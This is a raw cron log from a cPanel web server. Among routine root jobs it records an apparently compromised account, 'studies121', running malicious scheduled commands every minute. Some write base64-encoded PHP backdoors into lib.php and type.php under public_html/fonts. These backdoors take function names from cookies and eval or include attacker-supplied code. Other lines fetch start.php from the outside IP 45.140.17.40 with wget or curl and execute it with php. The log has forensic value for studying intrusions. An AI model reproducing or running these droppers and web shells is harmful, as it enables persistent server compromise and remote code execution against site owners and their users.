Sep  1 00:34:01 ip-184-168-122-23 CROND[19977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:34:01 ip-184-168-122-23 CROND[19979]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:34:01 ip-184-168-122-23 CROND[19978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:34:01 ip-184-168-122-23 CROND[19981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:35:01 ip-184-168-122-23 CROND[20066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:35:01 ip-184-168-122-23 CROND[20068]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:35:01 ip-184-168-122-23 CROND[20072]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 00:35:01 ip-184-168-122-23 CROND[20069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:35:01 ip-184-168-122-23 CROND[20073]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:35:01 ip-184-168-122-23 CROND[20074]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 00:35:01 ip-184-168-122-23 CROND[20070]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 00:35:01 ip-184-168-122-23 CROND[20071]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 00:36:01 ip-184-168-122-23 CROND[20170]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:36:01 ip-184-168-122-23 CROND[20173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:36:01 ip-184-168-122-23 CROND[20174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:36:01 ip-184-168-122-23 CROND[20172]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 00:36:01 ip-184-168-122-23 CROND[20175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:37:01 ip-184-168-122-23 CROND[20254]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:37:01 ip-184-168-122-23 CROND[20257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:37:01 ip-184-168-122-23 CROND[20258]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:37:01 ip-184-168-122-23 CROND[20259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:38:01 ip-184-168-122-23 CROND[20334]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:38:01 ip-184-168-122-23 CROND[20336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:38:01 ip-184-168-122-23 CROND[20337]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 00:38:01 ip-184-168-122-23 CROND[20338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:38:01 ip-184-168-122-23 CROND[20339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:39:01 ip-184-168-122-23 CROND[20509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:39:01 ip-184-168-122-23 CROND[20511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:39:01 ip-184-168-122-23 CROND[20512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:39:01 ip-184-168-122-23 CROND[20513]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 00:39:01 ip-184-168-122-23 CROND[20515]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:40:01 ip-184-168-122-23 CROND[20605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:40:01 ip-184-168-122-23 CROND[20606]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 00:40:01 ip-184-168-122-23 CROND[20611]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 00:40:01 ip-184-168-122-23 CROND[20610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:40:01 ip-184-168-122-23 CROND[20613]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 00:40:01 ip-184-168-122-23 CROND[20614]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 00:40:01 ip-184-168-122-23 CROND[20609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:40:01 ip-184-168-122-23 CROND[20615]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:41:01 ip-184-168-122-23 CROND[20702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:41:01 ip-184-168-122-23 CROND[20705]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:41:01 ip-184-168-122-23 CROND[20704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:41:01 ip-184-168-122-23 CROND[20706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:42:01 ip-184-168-122-23 CROND[20798]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:42:01 ip-184-168-122-23 CROND[20797]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 00:42:01 ip-184-168-122-23 CROND[20801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:42:01 ip-184-168-122-23 CROND[20803]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:42:01 ip-184-168-122-23 CROND[20802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:43:01 ip-184-168-122-23 CROND[20893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:43:01 ip-184-168-122-23 CROND[20895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:43:01 ip-184-168-122-23 CROND[20896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:43:01 ip-184-168-122-23 CROND[20897]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:44:01 ip-184-168-122-23 CROND[21041]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 00:44:01 ip-184-168-122-23 CROND[21043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:44:01 ip-184-168-122-23 CROND[21046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:44:01 ip-184-168-122-23 CROND[21048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:44:01 ip-184-168-122-23 CROND[21049]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:45:02 ip-184-168-122-23 CROND[21168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:45:02 ip-184-168-122-23 CROND[21174]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 00:45:02 ip-184-168-122-23 CROND[21171]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:45:02 ip-184-168-122-23 CROND[21172]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:45:02 ip-184-168-122-23 CROND[21173]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  1 00:45:02 ip-184-168-122-23 CROND[21169]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 00:45:02 ip-184-168-122-23 CROND[21170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
